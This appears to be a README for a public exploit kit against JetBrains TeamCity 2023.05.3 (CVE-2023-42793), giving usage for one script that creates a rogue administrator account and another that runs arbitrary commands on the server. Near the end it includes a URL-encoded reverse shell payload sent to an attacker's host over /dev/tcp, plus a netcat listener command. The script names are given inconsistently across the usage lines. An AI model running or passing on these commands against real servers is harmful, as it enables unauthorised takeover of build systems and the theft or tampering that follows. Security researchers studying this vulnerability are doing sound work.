
JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE), CVE-2023-42793
use
exploit.pyfirst to creat administrator account for you and then userce.pyto execute commands on the target, and for reverse shell check this
This script exploits CVE-2023-42793 to create an admin account on a TeamCity server. It sends a POST request to the target URL to create an admin user with specified or random credentials.
python exploit.py -u <URL> [-v] [-n <USERNAME>] [-p <PASSWORD>] [-e <EMAIL>]
-u, --url URL: Target URL (required)-v, --verbose: Enable verbose mode-n, --username USERNAME: Specify username (default: random)-p, --password PASSWORD: Specify password (default: random)-e, --email EMAIL: Specify email (default: random)-t, --token-file: File to save the tokenpip3 install -r requirements.txtExploit with random username, password, and email:
python exploit.py -u http://target.com
Exploit with specified username, password, and email:
python exploit.py -u http://target.com -n admin -p admin123 -e [email protected]
Upon successful exploitation, the script prints the URL, username, and password of the created admin account then save the output in token file.
Description This script allows executing commands on a vulnerable TeamCity server exploiting CVE-2023-42793. It first enables the debug processes and then executes the specified command using the appropriate API endpoints.
python rce_exploit.py -u <URL> [-v] [-c <COMMAND>] [-P <PORT>]
-u, --url URL : Target URL (required)-t, --token-file : TO specify the file containing the token-c, --command COMMAND: Specify command to execute (RCE)-P, --port PORT: Specify port (default is 80)Exploit with a specified command:
python rce.py -u http://target.com -t token -c "whoami"
python3 rce.py -u http://target.com -t token -c '"/bin/bash"¶ms="-c"¶ms="sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{IP}%2F{port}%200%3E%261"'
nc -nvlp 5555